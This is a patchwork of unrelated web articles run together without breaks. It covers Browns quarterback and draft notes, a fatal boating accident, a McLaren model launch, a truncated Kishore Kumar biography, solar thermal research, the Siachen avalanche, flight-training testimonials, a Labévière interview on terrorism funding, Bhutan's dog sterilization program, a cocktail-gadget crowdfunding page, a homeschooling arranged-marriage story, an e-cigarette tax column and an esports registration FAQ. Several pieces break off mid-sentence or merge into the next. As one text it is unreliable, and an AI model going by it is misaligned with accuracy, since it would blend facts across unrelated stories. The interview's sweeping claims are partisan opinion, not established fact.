15. Andrew Berry also said: "There are so few people who walk the earth who can play the quarterback position in the NFL."
16. That's why I'm reluctant to throw away Osweiler. OK, Houston did that. Maybe the Texans sign a suspect veteran such as Jay Cutler. But right now, their quarterbacks are Tom Savage and Brandon Weeden.
17. That's why the price for New England Patriots backup Jimmy Garoppolo is so high. It's why Brian Hoyer is set to start in San Francisco. Hoyer was 10-6 as a starter with the Browns, 5-4 with Houston and 1-4 with Chicago. Durability is an issue. I can see Kessler developing into a Hoyer-type quarterback.
18. Mike Glennon didn't start a game in 2016 as Tampa Bay's backup. In 2013-14, he had a 5-13 record as a starter, completing 58 percent of his passes. He did have a good ratio of 30 TD passes to 15 interceptions. He signed a three-year, $45 million deal with the Bears, including $18 million guaranteed.
19. North Carolina's Mitchell Trubisky is considered the most polished of the top quarterbacks in the draft, but played primarily in a spread offense. If the Browns draft Trubisky, there will be enormous pressure to play the Mentor native immediately despite having only 13 college starts. I want the Browns to have options so they don't have to throw him into action for a team that was 1-15 in 2016 and open against the rival Pittsburgh Steelers.
20. Whenever I write about Browns quarterbacks, a few people email me about backup Kevin Hogan. He runs fairly well, but the Stanford product is not much of a passer. The quarterback lineup I want for the Browns is Kessler, Osweiler and a rookie. Then let the coaches sort it out. The only change would be if a Garoppolo trade materializes.
ABOUT KAREEM HUNT AND RUNNING BACKS
Willoughby South product Kareem Hunt had an outstanding four-year career at Toledo. He is a legitimate NFL prospect.
1. The 6-foot, 225-pound Hunt is loved by Profootballfocus, the analytics site. PFF looked well beyond his 1,475 yards rushing (5.6 average) as a senior. He broke 76 tackles in 263 rushing attempts. Hunt also caught 41 passes, and broke 22 tackles on those plays.
2. PFF praised Hunt's balance and ability to gain yards after being hit. "He is one of the most elusive running backs in the draft class." They rank Hunt as the No. 6 back in the draft, projecting him as a late-second round pick.
3. Dane Brugler (CBS Sports) has Hunt rated as a third-rounder. He did compare Hunt to former Browns pick Terrance West (ouch!), but added, "He grades as the top senior running back in the draft and worthy of third-round consideration."
4. I believe the Browns will draft a running back in the third round or later. I know they like Duke Johnson, especially for his pass-catching ability. They also have Isaiah Crowell, who is a restricted free agent. They need depth at the position.
5. ESPN's Mel Kiper has the Browns taking Hunt in the third round.
6. It's possible Leonard Fournette will be a star. But in three years at LSU, the running back caught only 41 passes and had eight drops according to Profootballfocus. Maybe that will improve in the NFL. The most ridiculous rumor about the Browns at No. 1 was taking Fournette. I know he was never under any real consideration that high.
7. Brugler has Fournette as the No. 3 back in the draft, behind Dalvin Cook (Florida State) and Christian McCaffrey (Stanford). There are some legitimate concerns about Fournette's ankle. He missed five games with that injury, which bothered him most of 2016.A 10-year-old boy who was tubing was killed this afternoon when a boat struck him on Petite Lake near north suburban Lake Villa, authorities said. Two other people were taken to hospitals with non life-threatening injuries.
The accident happened about 4:40 p.m. and claimed the life of the boy who was riding a tube that was being pulled by a boat, Illinois Conservation Police Sgt. Brett Scroggins said.
“He fell off the tube and was struck by a second vessel,’’ Scroggins said. The child suffered traumatic injuries and died, the sergeant said.
Scroggins said authorities know who the boy is but declined to release his identity late Saturday.
Two other people had stress-releated injuries, Scroggins said.
No one has been cited or arrested in the incident, which remains under investigation.
“We received a report at 4:39 p.m. of a water incident on Petite Lake,’’ Antioch Fire Dept. Deputy Chief Chris Lienhardt said. “The very nature of the waterway makes it sometimes difficult to pinpoint the exact location of where it is.''
Boats and divers from several surrounding towns rushed to the scene and the victims were found by tracking a cell phone of witnesses who called police.
“Bystanders had witnessed what happened and located the victim’’ Lienhardt said. “We quickly determined through the work of 911...and we pinpointed the cell phone.’’
Lienhardt declined to say what age the victims are.
Petite Lake is located off Illinois Route 59 near Lake Villa.
Lake County Coroner Artis Yancey confirmed one death but had no further details about it.
[email protected]
Twitter: @RosemarySobol1McLaren has revealed a new supercar that is both its cheapest and least powerful currently on offer. Meet the McLaren 540C, here presented in digital form.
It’s real though, and is on display at the 2015 Shanghai Motor Show. It represents the entry-entry-level model in McLaren’s supercar line-up, underneath the formerly entry-level 570S (recently unveiled in New York), the £195k 650S, the £260k 675LT, and of course, the P1. Which costs much, much more.
McLaren 570S: it’s here at last
So, the new baby, ‘baby’ McLaren, gets the same mid-mounted 3.8-litre twin-turbo V8 engine as the rest of the McLarens, only here, it produces 533bhp (540PS, hence the name), and 398lb ft of torque.
That’s fed through the same seven-speed twin-clutcher to the rear wheels, to record a 0-62mph time of 3.5 seconds (3.2s for the 570S), a 0-124mph time of 10.5 seconds and a top speed of 199mph. The 570S tops out at 204mph.
The ‘MonoCell’ carbon tub remains the same too, though here it’s been redesigned to make getting in and out of the thing easier. Aluminium body panels also help keep the weight down to 1311kg - just 2kg lighter than the 570S.
There’s adaptive damping - revised over the 570S’s damping for a more usable, ‘daily driver’ focus - with three settings of normal, sport and track. You can work out which one to use where. There are front and rear anti-roll bars, the same ‘brake-steer’ system as on the 570S, and a revised aero package to mark it out.
Yep, look closely, and you’ll notice the new aero blades below the front bumper, a new rear diffuser, a new spoiler and new alloy wheels available in silver or ‘stealth’ finish.
But here’s the kicker: it’ll be available in the UK, with prices kicking off at £126,000, which represents a £17k saving over the 570S. Which puts it right in the firing line of the 533bhp V10-engined new Audi R8, and of course, the Porsche 911 Turbo. So, which will it be?Kishore Kumar (4 August 1929 – 13 October 1987) was an Indian playback singer, actor, lyricist, composer, producer, director, and screenwriter.[1] He is considered as one of the most popular and successful singers of Hindi film industry [2][3] and from soft numbers to peppy tracks to romantic moods, Kumar sang in different genres[4] but some of his rare compositions which were considered classics were lost in time.[5] According to Ashok Kumar, Kumar's success lies in the fact that his voice used to hit the microphone straight at its most sensitive point.[6]
Apart from Hindi, he sang in many Indian languages including Bengali, Marathi, Assamese, Gujarati, Kannada, Bhojpuri, Malayalam and Urdu. He has also sung in private albums in several languages especially in Bengali. He won 8 Film fare Awards for Best Male Playback Singer and holds the record for winning the most Filmfare Awards in that category.[7] He was awarded the "Lata Mangeshkar Award" by the Madhya Pradesh government in |
mirrors, as well as the motors and gearboxes used to aim them at the sun, are expensive. One potential fix, he says, comes from a San Francisco startup, Otherlab, which replaces the motors with pneumatics and actuators that can be made cheaply using the manufacturing equipment that’s currently used to make plastic water bottles.
The head of Otherlab’s solar efforts, Leila Madrone, says the technology could cut the cost of mirror fields for concentrating sunlight by 70 percent. But even this cost reduction, she says, won’t be enough to make the technology competitive with solar panels—even though the mirrors account for a third to a half of the overall cost of a solar thermal plant.
Getting overall costs down will require increasing the amount of power a solar thermal plant can generate, so it can sell more power for the same amount of investment. One approach to increasing power output is to increase the temperatures at which solar thermal power plants can operate, which would make them more efficient. They currently operate at 650 °C or less, but some researchers are developing ways to increase this to anywhere from 800 °C to 1,200 °C. That approach is being pursued by another startup, Halotechnics, which uses high-throughput screening processes to develop new materials—including new kinds of salt and glass—that can store heat at these high temperatures (see “Cheap Solar Power at Night”).
Another option, being funded by a new program at the U.S. Advanced Research Projects Agency for Energy, is to make power plants that add solar panels to solar thermal power plants. The basic idea is that solar panels can only efficiently convert certain wavelengths of light into electricity. Much of the energy in infrared and ultraviolet light, for example, doesn’t get converted, and is instead emitted as heat. The new projects look for ways to harness that heat.
Solar systems that combine heat and solar panels aren’t new. For many years, companies have offered solar systems that run water pipes behind solar panels—the waste heat from the panels makes the water hot enough for showers.
The new approach, however, is to look for ways to reach much higher temperatures—high enough to be used for generating electricity. Such methods typically involve concentrating sunlight to generate high temperatures, and then diverting some of that concentrated sunlight to solar panels.
In one case, nanoparticles suspended in a fluid absorb wavelengths of sunlight that solar panels don’t convert efficiently. Those nanoparticles heat up the fluid. Light that the solar panels can use pass through the fluid to a solar panel. Other researchers use mirrors that allow only certain wavelengths to pass through them.
Howard Branz, the program manager in charge of these projects at ARPA-E, says the hope is that the added cost of these hybrid systems will be made up for by two things. First, the systems will be more efficient, potentially converting more than half of the energy in sunlight into electricity, compared to 15 to 40 percent with existing conventional solar panels.
Second, the ability to store heat for use whenever it’s needed will become more valuable as more solar power is installed. Germany, which has far more solar power than any other country, sometimes has to pay its neighbors to take excess solar power generated on some sunny days. “This program is looking out to a future that might be tomorrow in Germany, three years away in California, five years away in Arizona,” Branz says. “But eventually this future will come to everywhere that people want to generate a lot of electricity with solar energy.”Lance Naik Hanamanthappa was found after six days of rescue operations and is in critical condition.
Highlights Siachen: Soldier found alive, was buried under 25 feet of snow for 6 days Temperatures at Siachen are hovering between -42 and -25 degrees Celsius Army: Hopes of finding 9 other soldiers caught in avalanche'very remote'
Army teams have been sifting through the huge mass of ice in the treacherous region, sometimes digging more than 30 feet to find the soldiers who are buried. (Photo: Siachen Glacier)
An army jawan who was buried under snow following an avalanche in the Siachen glacier has been found alive, news agency Press Trust of India has reported. For six days, Lance Naik Hanamanthappa was buried under 25 feet of snow in temperatures that hovered above minus 40 degrees Celsius.On February 3, Lance Naik Hanamanthappa was caught in the avalanche along with nine soldiers. Rescue efforts had been on since, though on February 4, the army said hopes of finding anyone alive were "very remote"."It was a miraculous rescue, all efforts are being made to evacuate Lance Naik Hanamanthappa to the RR Hospital (Army's Research and Referral hospital) in the morning," PTI quoted Lieutenant General Northern Army Commander DS Hooda as saying."Five bodies have been recovered so far and four bodies have been identified. All other soldiers are regrettably no more with us," he reportedly said.He expressed hope that the miracle continues with Mr Hanamanthappa, who is from Karnataka.Last week, a Junior Commissioned Officer and nine other ranks of Madras Regiment were buried after a wall of ice -- a kilometre wide and 600 metres high -- came crashing down on their post.The base was located on the Saltoro ridge in Siachen, at a height of 19,600 feet above the sea level and close to the Line of Control (LoC) with Pakistan.Since then, rescuers with dogs have been cutting through massive chunks of ice in temperatures between minus 42 and minus 25 degrees Celsius. Besides the freezing temperature and the rarified air, the rescue teams also had to battle frequent blizzards and work through low visibility.India had refused Pakistan's help in the search, saying its own teams were in the area.The Siachen Glacier, located at the northern tip of Kashmir, is the highest and coldest battlefield in the world. Till date, more soldiers have died because of the weather and terrain than as a consequence of the Indo-Pak standoff. At least 869 officers and soldiers have been killed there since the mid-1980s.Alan Bradley Probaby the best flight training experience I've ever had. Facilities were top notch. Jet Blue University really is a wonderful teaching environment. The technology is well cared for. Wayne is a very good presenter. He obviously has a wealth of knowledge and a great teaching style. He could teach anything to anyone. But, he's in his element doing flight training.
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Eric Prado Flew the 737-800 in Dallas...Loved Every Minute of it! - Wayne is great!
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Manuel Diaz Quijano Had the rare opportunity to visit JetBlue University, get my high altitude endorsement and fly the A-320 full motion simulator. All thanks to Wayne Phillips and his program "ATOP".
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Craig Kendzierski Awesome Class...Worth every penny! See you in Orlando for the Airbus.
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Tyler Foster Had a wonderful experience at JetBlue University this past weekend for the A-320 ATOP course. Wayne did an excellent job as expected. The people that you interact with are nice and love to help you out. I would recommend this to anyone that is interested in getting a taste of the Airline training experience. I look forward to the next course!
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Nicholas Chung It is amazing!! I really wanted to have a taste of what it feels like to be training for the airline. Now thanks to ATOP, I have more motivation and passion to pursue by dream!
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Michael Beach I had a great time flying the A-320 and then the instructor and I (Wayne) went and saw "Scully"! How is that for an aviation weekend? LOL.
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Kevin Jackman Attended a couple of years ago when it was with Continental Airlines B737NG. Had an absolutely amazing time, great experience. Looking to do it again on the A320!!
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Jose Ottenwalder Incredible experiencia en JetBlue University con mis brothers Josean. Flying the full motion flight simulator A320 for the very first time has been an amazing experience! It has given me broader insight of what looks like my dream job at an early stage of my life. Thank you to Wayne and his program ATOP.
Click Bullets Below To See More TestimonialsAccording to a report by IRNA, as translated by IFP, Richard Labévière, the author of the book “Terrorism, the dark side of globalization”, which is to be published on November 14 in France, had an interview with the French-speaking radio Channel III of Algiers.
In this interview, he says “all investigations on terrorism bring us back to Saudi Arabia.”
“Saudi Arabia finances the growth of radicalism as it continues to do so today with the Al-Nusra Front in Syria. The strategy of Saudi Arabia through this funding is to first encourage the expansion of Wahhabism, and then to destabilize states, as it allows a redistribution of wealth in the region.”
“Terrorism is a vital fuel for wild neoliberal globalization. It has even become a full-fledged economic sector because it is the waste needed for the economic expansion of globalization.”
Referring to the current situation in the Middle East, the journalist says it is the result of foreign intervention in the region.
“The interests of Israel and the United States in the region are in breaking all these nation states into microstates, and returning Arabs to tribalism.”
Labévière then returned to the war in Syria and said, “After destroying Iraq, Western powers came to notice the Syrian nation state.”
“Syrian conflict is not a conflict between gentle rebels and an evil dictator as mainstream media want us to believe,” he noted.
“The reason is the rivalry between two opponents: on the one hand the axis of United States, Europe, Israel and the Persian Gulf States, which seeks to disintegrate Syria, and on the other hand, the Syrian state aided by its allies (Russia, Iran and the Lebanese Hezbollah) which want to maintain the national state.”Bhutan is a small Buddhist kingdom tucked in the Himalayas and known best for its Gross National Happiness index. Among tourists, it's also known for its huge stray dog population.
"You notice it as soon as you get off the plane," says Twig Mowatt, an animal rights activist and editor of Bark Magazine. "They're along the highways. They're in front of every business, in front of the gas station, the police station, hanging out by people's houses. You're stepping over them on the sidewalks. They're everywhere."
But the stray dogs are precisely the reason Mowatt traveled to Bhutan. "Bhutanese people, who are largely Buddhist, believe that sentient beings should be cared for." And the Bhutanese do care for them though not in their homes.
"They're really community dogs. There isn't a lot of individual pet ownership the way we in the US would think of it," says Mowatt. "But there are dogs that are loyal to a certain territory. There might be seven or eight that live on a certain block and then the people who live in that area feed the dog. So they do care for the dogs. They don't want to hurt them. They believe that would be bad karma for them."
But by the mid-2000s, the stray dog population was getting out of control. Illegal meat markets were leaving scraps that attracted packs of dogs. Tourists, who are required to spend a minimum of $250 a day to be in the country, were finding them menacing.
"The population of dogs was growing and Bhutan was getting a lot of complaints about barking dogs at night that were keeping the tourists up," says Mowatt.
Street dogs lounge around in Bhutan's capital Thimpu as people walk by. As shown by the dog in the front, when dogs are vaccinated and sterilized, their ears are notched to mark them as treated. Credit: Kuni Takahashi/AP Images
In 2008, Bhutan wanted to clean up the streets in advance of the coronation of a new king, so they reached out to Humane Society International for help.
"Bhutan had the idea that they wanted to put the dogs into big government pounds and just keep them sheltered that way," says Mowatt.
Humane Society International told Bhutan it was bad idea. But Bhutan went ahead. Thousands of dogs died. And Mowatt says the Bhutanese learned something else: No dogs leads to more rats.
"If you take away the dog population — they're very much a part of the ecosystem there — you're really messing with mother nature," Mowatt says. "So the rats had moved in to replace the dog void and they were just inundated with rats."
But Humane Society International persisted and suggested that Bhutan try something that was unprecedented: A nationwide spay/neuter and vaccine program.
"They said, 'Look, we know this is the only thing that will work. We know it's going to take a little time but in the long run this is the only effective solution.'" And the government agreed.
Humane Society International initiated the Catch-Neuter-Vaccinate-Release method. Dogs are released later the same day in the same location where they were captured.
Having been humanely netted, ten dogs arrive at the clinic in Paro, Bhutan to be spayed, neutered, and vaccinated. Once they've recovered from surgery, they'll be returned to the same spot where they were caught. Credit: Palden Tshewang/Courtesy
When the program started in 2009, Humane Society International estimated there were about 100,000 stray dogs in Bhutan, largely in the cities. Mowatt says it took a while to get things up and running.
"First, they didn't have enough vets so Indian members of Humane Society International sent in a vet team." Then they started creating a Bhutanese team, training vets, vet techs, even dog catchers.
"They use nets, which is very humane but it's not easy. These guys are real escape artists. They're biggish dogs. They're super smart. They work together."
The method of spaying and neutering they use is less invasive than the approach used in the United States. Mowatt says they're more like MASH units.
"The vets know how to make a tiny little incision and when the incision is small, everything else is easier and faster." That makes recovery time faster. They make a tiny incision and go in. "I liken it to a crochet hook. And they just grab the stuff. They can do a spay in under ten minutes and a neuter in under five. It's like watching an artist."
In pre-op at a clinic in the Bhutanese city of Paro, one vet tech shaves and sterilizes a male dog before surgery, while another cuts and cauterizes a notch in the left ear to identify the dog as having been neutered. Credit: Palden Tshewang/Courtesy
The stitches that are left are inside the dog so there's nothing to scratch, making the chance of post-surgical infection minimal.
Seven years on, the program has spayed or neutered and given rabies vaccine to 71,000 dogs in Bhutan. Twig Mowatt says there's a tell-tale sign.
"The way you can recognize a dog that's been spayed or neutered is they take a little triangular notch out of its left ear," she says. "And I have to say, everywhere I went, I would hike up to some monastery in the hills or trekking along the rice paddies and every single dog I saw had this triangular notch."
The spay and neuter program is ongoing and is now entirely run by the Bhutanese people, which was always the goal.
The dog population management team in Paro includes two vets (in green scrubs in front), vet techs, and dog catchers. At this point, most vets have personally done thousands of spay/neuter procedures. Credit: Palden Tshewang/Courtesy
Mowatt says Bhutan could be a model for other countries but it takes government buy-in.
"The fact that the government was fully on board was crucial, because it enabled Humane Society International to go in and do this complete program," she says. And they're not done yet.
"They're going to continue checking and following up, because the real shift in the size of the population of dogs isn't going to be noticeable for probably another five or six years," Mowatt continues. "The adult dogs who have been spayed or neutered are going to start dying of natural deaths. And at that point, they'll have all these statistics in place to show how effective this has been."About
The Barman was the worlds first Bluetooth 4.0 cocktail-mixing platform for your smartphone. The Barman II takes everything great about the original Barman, and makes it even better. We have worked out the bugs, improved the capacitive touch buttons, and are releasing the Barman II as an open-source device. This makes the capabilities of the Barman endless.
Just pick any drink you want to make in our Android or IOS application, pick your drink size, and mix it! You can customize any drink just the way you like it. The Barman uses a proprietary drink scaling algorithm so that your cocktail will taste the same no matter what size you make.
The Barman's glass-illumination CREE LED's will illuminate your glass or shaker blue when the Barman is ready to mix. The display will tell you what to pour. As you pour, the progress indicator will move across the display letting you know how much you have left to pour. When the progress indicator has reached the end of the display, the Barman will illuminate the glass or shaker red, letting you know to stop pouring. It's that simple!
LED Glass Illumination
Device Specifications:
-Battery Operated (4AAA)
-Blue Backlit LCD
-64 Ounce Drink Capacity
-Range of up to 50 feet
-Two high-output CREE glass-illumination LEDs
-Power-saving sleep mode
-Water-resistant tempered glass surface
Compatibility: You must have an iPhone 4S or newer or Android device with Bluetooth 4.0 and Android 4.3 or newer operating system.
Barman II
Barman II
App Specificaions:
-Hundreds of pre-loaded drink recipes
-Customize any recipe to your liking
-Create your own drink recipe
-Drink Learn (The Barman will learn the recipe of any drink)
-Post your drink to Facebook or Twitter
-Save any drink to your own personal drink library
-Browse and make drinks from your friend's drink library
-Liquor Cabinet (The Barman will tell you what drinks you can make with what you have on hand)
-And much, much, more...
App
Timeline:
October 2015 - Successfully Funded - Purchase Bill of Materials (BOM)
November 2015 - Manufacture 10 sample units using BOM, thoroughly test, and begin production
December 2015 - Begin shipping to Backers
About Us:
We are an American start-up company that focuses on creative, simple, solutions for complex problems. We specialize in mobile technology, Bluetooth 4.0, and IOT. We successfully crowd-funded the original Barman with the help of Kickstarter, and have been improving the design ever since. We have proven that we are more that capable of delivering a successfully funded Kickstarter campaign.At 20, Jennyfer Deister was all set to be married off to a man twice her age.
Her family, she says, had taken $25,000 in installments from the prospective groom and in return they were to give him her hand.
It would have been more — probably $50,000 she estimates — except that she had been sexually abused as a young child in one of the four foster homes she passed through before she was finally adopted.
'I was like damaged goods,' she admitted in an exclusive interview with Daily Mail Online.
Jennyfer — her birth mother chose the unusual spelling — had no say in the marriage and says her husband-to-be was actually a decent man. In fact he could have been an ideal husband 'except he was 20 years too old'.
Jennyfer's story is not from some exotic cult or overseas religion. Instead she, like Alecia Pennington, 'the girl who doesn't exist,' considers herself a victim of a growing extreme fundamentalist Christian home-school movement that has blossomed here in the United States.
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Damaged childhood: Sexually abused when she was in a foster home, Jennyfer Deister was brought up in an extreme Christian fundamentalist home where she was kept from the outside world
Rebuilding a life: Now married, Jennyfer Austin is still unable to work but is trying to make something of a living selling jewelry from a Facebook page
As she was: 16-year-old Jennyfer Deister is pictured in San Jose, California in 1999. She was homeschooled throughout her childhood by her mother, the daughter of the church leader
Alecia, 19, hit the headlines last week when she revealed in a stunning YouTube video that her parents had not registered her birth. As she has no papers establishing her identity, she cannot get a driver's license, vote, board a plane or even get a job.
Jennyfer — now Jennyfer Austin — says she doesn't personally know Alecia but they are both active on a Facebook page for home schooled children. She says much of her own life mirrored what Alecia has revealed about her own.
And she can give a fascinating inside view of the cult of home-schooling that many Americans take to be a harmless expression of educational freedom - and in the vast majority of cases is.
However, an informal survey taken by the group Homeschool Alumni Reaching Out in the wake of the Pennington case found an alarming 29 percent of respondents said they found they had no access their own birth certificate by the time they turned 18 and 25 percent said they could not get to their social security card.
Only 56 percent of 18 year-old homeschoolers had a driving license by their 18th birthday, compared with 85 percent for the country as a whole, the survey revealed - although its findings were of course limited by being self-selected and likely to be people who feel let down by their upbringing.
Unlike Alecia, Jennyfer knew she had papers that proved her existence. She had been sent to a Bible school in Quebec, Canada and on a church mission to the Philippines, so she knew she had a passport. At various times she had seen her birth certificate and even her social security card. The trouble was, even in her mid-20s, she had no idea where her mother kept them.
So when she finally decided she had had enough of life at home, she says she was forced to rifle through her mother's papers, but without luck.
'I realized I needed to find these papers before I left for good,' she said.
'My mother had a big oak desk and I went searching through all the files in all the drawers but I couldn't find anything.'
Eventually she realized the wood on one panel on the desk did not match the rest, something she had never noticed before. 'I got a pair of tweezers and pushed the panel up, and there they were in a secret compartment — my passport, state ID, social security card and birth certificate.'
Clutching the precious papers, Jennyfer fled, vowing she had spent the last night in her mother's house. It was Thursday, October 22, 2009. Jennyfer was just a little over a month shy of her 27th birthday.
Daily Mail Online attempted to contact Jennyfer's mother, Laura Deister, for comment by phone and email without success.
The girl who doesn't exist: Alecia Pennington, 19, revealed how she had no birth certificate or social security number and now she cannot become a citizen after leaving her parents who had never registered her birth
Happiness: Jennyfer with her husband and Tom Austin on the campus of Harding University in Searcy, Arkansas, where they met and he proposed within three weeks of meeting
Unwelcome development: It was after meeting Tom Austin at Harding University that Jennyfer says she learned the awful truth that she had been effectively sold in an arranged marriage by her family
Jennyfer's story began in wealthy San Jose, California, thousands of miles from the cities where Americans believe arranged marriage is common.
'You think of this sort of thing happening "over there", not here in America,' she told Daily Mail Online in a calm, measured voice.
She was born to a woman who had drug and alcohol problems. 'Any one of several men could have been my father,' she says.
When she was 3½ she was placed in foster care. Some four years later, church leader's daughter Laura Deister adopted her.
Her new mother, who had never married, put her in private school in San Jose but by fifth grade felt the system was failing Jennyfer, who suffers from mild Asperger's Syndrome. 'My math was only at first grade level — but my reading was 11th grade.
'The private school simply did not have the resources to get my math abilities up to speed,' Jennyfer said. 'My mother began to look for other schools to take me but the only one she felt could help cost $25,000 a year, and she was only earning $38,000.
So, egged on by Jennyfer's grandfather, her mother decided to home-school her. 'Home-schooling was very much a case that she wanted to help me get over my hurdles and spend time with private tutors,' said Jennyfer, now 32.
Education: Jennyfer Deister with a staff member at a Bible school in Chertset, Quebec in 2003. She had been homeschooled throughout her childhood
Married: Jennyfer and Tom Austin are pictured at their marriage commitment ceremony at Harding University in Searcy, Arkansas in August 2010 (left) and today
But that is not how it worked out. Instead, as Jennyfer's adoptive mother got more involved in the home school movement, she also fell into what her daughter calls'religious extremism.'
'My mother was always conservative, but not crazy conservative. The trouble is if you are not extreme enough, the other parents won't let your child play with their children.
'My education basically consisted of having books thrown on my lap and being told to get on with it. I had tutors once or twice a week, but my mother rarely checked my work or my grades.'
Jennyfer continued to struggle at math but admits her unorthodox education gave her the chance to excel in the fine arts, especially music, with opportunities she might not have received in a more formal classroom.
'I could play the piano, but I could only listen to classical music and hymns. I had no knowledge of any other type of music.'
When Jennyfer was 13 a relative moved to San Jose. 'She was extremely conservative and very forceful. She was angry and bitter about men and she dragged my family to the extremes. She was pushing her views down our throats.'
Jennyfer said she had friends, nearly all of whom were also home-schooled. Occasionally in church they would discuss such rebellious teenage ideas as dating or wearing clothes that showed just the tiniest piece of skin.
The family belonged to a church that is part of the mutual edification movement, which does not believe in having paid pastors. Instead every male member of the church is given the chance to lead the services.
'Dating was a complete no-no. I might be able to have a parent-approved courtship and go places in public, but I couldn't possibly do something like hold hands with a boy.'
She was forced to wear long skirts and blouses with high necklines and long sleeves. If she chose a skirt which went to mid-calf, she would have to put on knee-length boots so no leg was shown.
'Even my swimsuit went down to my knees and had sleeves,' she recalled. 'I wasn't allowed to shave. My grandfather felt that any part such as my legs that needed to be shaved should not be shown off in public.'
Her husband-to-be decided he wanted Jennyfer to go for one semester to a Christian university so she would never resent missing out on college life, she said. She was packed off to Harding University, a Christian school in Searcy, Arkansas, some 50 miles north of the state capital, Little Rock.
But that is where her family's plans fell apart. Within a week Jennyfer met fellow student Tom Austin. Three weeks later he got down on one knee at a bench on campus and proposed.
'I didn't know at the time that I was arranged to be married,' said Jennyfer. 'But Tom had to go back home to Massachusetts when he found he had lupus,' she said.
When Jennyfer returned to her family in California with the good news that she had met someone special, she was in for a shock. 'I was told I could not marry him because I was already betrothed. I wasn't aware of this!'
Plea: Alecia Pennington used YouTube to appeal for help to obtain American citizenship, having been estranged from her parents who never registered her birth. She never attended school or a hospital
As she was: Alecia Pennington (second from left) with her mother Lisa, and her other sisters before she left home. rescued by her mother's father
Homeschooled: The entire Pennington family were educated at home by their father James (center) and mother Lisa (left) but Alecia, 19 (second from right) has now fled home and is estranged from her parents
The man she was supposed to marry admitted he had never told her and he broke off their relationship. 'Of course he wanted his $25,000. My mother told me I owed her it.'
Still, the course of true love did not run smoothly. Jennyfer and Tom both say her family did all it could to keep them apart, even when he moved to San Jose and lived with her grandfather on the other side of town.
'He was a one-hour bus ride away. They thought they could control him if he lived with the family, but they did everything in their power to keep me and Tom apart.
'They would send me to small Bible schools to try to reform my ways and they only allowed me 10 minutes of phone time a week with him, but we managed to stay in touch even though they kept giving me less and less time hoping it would fade away.'
But on October 21, 2009, Jennyfer and Tom made their break. They had nowhere to go and ended up at her grandfather's Church of Christ on 7th Street in San Jose, hoping to find a member of the congregation who would take them in.
Instead Jennyfer's mother found them and she went back home. (Daily Mail Online contacted Jennyfer's mother but she did not comment.)
It was probably all for the good, because it wasn't till the next day that it dawned on her that she needed to find her papers if she was to forge her own life. During her rummaging she also found a few hundred dollars that she had earned dog-sitting, but which, she says, her mother had kept from her. She took that too.
When you go for an interview, it is very hard to explain how you got your only job when you were 25. I have no references, the only people I knew were people who thought women shouldn't work anyway.
Within two weeks, Tom and Jennyfer married at City Hall. 'I wore a T-shirt and jeans,' she recalled. They had to scrape together $150 for the marriage license and a further $100 to pay for a witness. 'We knew no-one who would do it for us,' she said. 'So we had to pay someone.'
But Jennyfer's upbringing had not prepared her for life on the outside. She had only ever had one short-lived job — after being sent to live with an aunt in Wisconsin, she landed a position as a clerk at Walgreens.
'When you go for an interview, it is very hard to explain how you got your only job when you were 25,' she said. 'I have no references, the only people I knew were people who thought women shouldn't work anyway.
'I had always been prevented from learning to drive because my family thought it wasn't necessary. They thought that was would be the key to my independence — they were probably right.'
Now, a few months after their fifth wedding anniversary, Tom and Jennyfer live just a stone's throw from Harding, the school where they met. They returned to Searcy as it is a place they know, and with little money, the low cost of living is a boon. But without a car and with no public transportation in town, their horizons are limited.
Tom is hoping to get a fantasy novel he is close to finishing published. Jennyfer makes jewelry which she sells via a Facebook page. 'We would love to move,' said Jennyfer, saying Pueblo, Colorado, would be their dream place to start a new life.
They have already decided they do not want children of their own.Chris Christie has repeatedly said that he’s not interested in talking about a presidential run and is busy running affairs in New Jersey. Judging by some of the most recent news I’ll have to take him at his word, since he’s apparently not going out of his way to court conservatives. As people have been going through the Governor’s most recent budget, it was noted that the latest plan calls for hiking taxes on e-cigarettes up to the level of traditional tobacco smokes. I, for one, certainly didn’t see this one coming.
A proposed new tax on electronic cigarettes was the burning topic today at the first legislative committee meeting of the state budget season. Gov. Chris Christie’s budget proposal, delivered last month, suggests raising taxes on the “e-cigarettes” to the regular rate for cigarettes — which is $2.70 per pack — saying they’re “unregulated and subject to standard State sales taxes only.” But at the state Assembly Budget Committee’s meeting today at Montclair State University, Steven Clark — a Union City resident who said he quit smoking regular cigarettes a year ago thanks to e-cigarettes that provide nicotine through liquid vapor instead of smoke — called the idea of raising taxes on them “reckless and harmful.” “Electronic cigarettes have the potential to make smoking obsolete within a generation,” Clark said. “With the right combination of tailored regulation and cost-incentives, e-cigs might end smoking as we know it.”
Imposing more sin taxes of any kind to fill the state’s coffers under the guise of altering people’s behavior isn’t exactly conservative doctrine, but this move is particularly questionable. (Full disclosure: I’m smoking an e-cig as I type this.)
Leaving aside the entire question of raising taxes for a moment, I’d like to hear Governor Christie’s rationale for this and what purpose he expects to achieve. Numerous experts – including one former Surgeon General – have come out in support of e-cigarettes as an effective tool for quitting smoking. I personally know three people who have managed to entirely quit tobacco for six months or more by making the switch. Is it possible that the nicotine vapor has adverse health effects? I suppose so, but we know for a fact that tobacco is bad for you. Why would you discourage something which is already showing results above and beyond that of nicotine patches or gum?
This also just looks bad in terms of political bedfellows. There have been persistent reports that one of the biggest opponents to e-cigarettes is the pharmaceutical industry, possibly because the vapor cigarettes cut into their very lucrative market for gum and patches. Anyone with an eye on their future electoral chances should probably think twice before they’re seen as being in bed with Big Pharma. Plus, as we’ve discussed here in relation to many states where high sin taxes have been imposed, the Garden State is already dealing with their own black market for smuggled cigarettes. Higher taxes simply swell the incentive for people to side-step the laws to save (or make) money. Why would this not happen with e-cigs as well?
This is a bad move by Christie an he should rethink this one. Quickly.This site is used to register teams and players for the upcoming Minors and Majors.
You can also look up the current roster status of a team or see the latest notable accepted invitations.
FAQ
HOW DOES THE REGISTRATION PROCESS WORK?
Players and teams can be registered at any point during the season. There is no longer any hard deadline when team rosters are locked, though there are DPC point penalties for making changes to your roster and for playing with subs.
WHEN DOES REGISTRATION OPEN?
Registration is now open.
DOES REGISTRATION APPLY TO BOTH MAJORS AND MINORS?
Yes.
WHAT IS THE DEADLINE FOR REGISTRATION FOR THE FIRST MAJOR AND MINOR? New!
As previously mentioned, teams must register their roster by September 15th, 2018 at 10:00 AM PDT.
WHAT DO I NEED TO DO AS A PLAYER?
You need to register yourself on the Players page, and accept an invite from a manager.
IF I WAS REGISTERED BEFORE, DO I NEED TO REGISTER AGAIN?
Yes, players need to register themselves every season.
WHAT DO I NEED TO DO AS A MANAGER?
You need to make sure you're the admin of a team in the client, register it on the Manager's page, and invite players to your team.
WHO CAN BE INVITED TO A TEAM? New!
